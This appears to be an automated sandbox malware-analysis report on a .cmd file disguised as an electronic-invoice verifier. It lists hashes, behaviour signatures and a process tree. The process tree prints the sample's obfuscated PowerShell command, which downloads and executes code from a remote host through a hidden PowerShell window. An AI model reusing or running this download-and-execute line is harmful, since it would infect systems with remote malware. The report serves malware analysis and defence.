Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 03:36
Static task
static1
Behavioral task
behavioral1
Sample
do-master/Verificacfdi.facturaelectronica.emision.cmd
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
do-master/Verificacfdi.facturaelectronica.emision.cmd
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
do-master/x.exe
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
do-master/x.exe
Resource
win10v2004-20220414-en
General
-
Target
do-master/Verificacfdi.facturaelectronica.emision.cmd
-
Size
412B
-
MD5
fc68a566b6eec162cedf8d4ec6d7e00e
-
SHA1
7fc6706af1d7a63262f99734922228656a6fa300
-
SHA256
99670c0c832be53b90e0c52cdb385a926346e36642b876296f0be9f01b81decc
-
SHA512
4276ad4a487034a6d32985958fc0380e585c99b248dbd8ae0852e3af5b71d820f1e129bf0e0342e801b29cc0aae3ce37352086de22a93e763c659da450979489
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3136 powershell.exe 3136 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3136 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1148 wrote to memory of 2920 1148 cmd.exe cmd.exe PID 1148 wrote to memory of 2920 1148 cmd.exe cmd.exe PID 1148 wrote to memory of 3136 1148 cmd.exe powershell.exe PID 1148 wrote to memory of 3136 1148 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\do-master\Verificacfdi.facturaelectronica.emision.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://tma8sjw.myftp.org/mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); "2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindowsPowerShell\v1.0\powershell.exe -nop -win 1 -2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2920-130-0x0000000000000000-mapping.dmp
-
memory/3136-131-0x0000000000000000-mapping.dmp
-
memory/3136-132-0x000001D11F6E0000-0x000001D11F702000-memory.dmpFilesize
136KB
-
memory/3136-133-0x000001D13A290000-0x000001D13A2D4000-memory.dmpFilesize
272KB
-
memory/3136-134-0x000001D13A360000-0x000001D13A3D6000-memory.dmpFilesize
472KB
-
memory/3136-135-0x00007FFA048D0000-0x00007FFA05391000-memory.dmpFilesize
10.8MB